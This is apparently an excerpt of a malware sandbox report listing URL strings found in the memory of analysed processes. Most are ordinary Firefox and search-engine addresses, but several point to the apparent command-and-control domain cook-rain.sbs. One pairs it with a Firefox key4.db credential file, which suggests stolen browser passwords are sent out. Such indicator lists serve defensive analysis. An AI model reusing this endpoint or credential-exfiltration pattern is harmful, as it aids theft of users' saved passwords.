Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2644239902.000001B464011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: firefox.exe, 00000030.00000002.2717101328.000001B475D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2608815429.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: d7f88d1a57.exe, 0000001C.00000003.2638459837.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/$
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/6
Source: d7f88d1a57.exe, 0000001C.00000003.2414693997.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/=T
Source: d7f88d1a57.exe, 0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2389409242.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2423410660.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2464643217.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2580153657.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2466659381.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2638459837.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2414971257.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2608815429.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: d7f88d1a57.exe, 0000001C.00000003.2517470830.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2503397336.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2580364412.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2505837505.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2464643217.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2466659381.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2638459837.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiAl
Source: d7f88d1a57.exe, 0000001C.00000003.2503397336.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiBm
Source: d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiF6
Source: d7f88d1a57.exe, 0000001C.00000003.2385304067.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2385260950.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api_time
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apia
Source: d7f88d1a57.exe, 0000001F.00000003.2608815429.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apid
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apimeSerialNumber
Source: d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2638459837.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apium61
Source: d7f88d1a57.exe, 0000001C.00000003.2385260950.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2389409242.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2423410660.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2464643217.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2466659381.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2414971257.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/fbm
Source: d7f88d1a57.exe, 0000001C.00000003.2452446312.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/nTH1
Source: d7f88d1a57.exe, 0000001C.00000002.2755587324.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apiZ
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apical
Source: d7f88d1a57.exe, 0000001F.00000002.2755161114.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apix/24a4ohrz.default-release/key4.dbPK
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000030.00000002.2644239902.000001B464030000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2644239902.000001B464011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp, a4be4c0327.exe, 0000001A.00000003.2251390249.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsTre
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000030.00000002.2691144471.000001B473A6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583820668.000001B473C68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573129546.000001B473C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573741035.000001B473C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2571185867.000001B473A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2693632349.000001B473C56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2740045798.0000176193D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2652944001.000001B46FE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000030.00000002.2684816649.000001B472687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000030.00000003.2585394414.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2583905047.000001B471733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2585060847.000001B47171D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2677320070.000001B47173A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sU
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.enabledTypesse
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000030.00000002.2656094447.000001B470324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsUpdat
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Cache
Source: firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
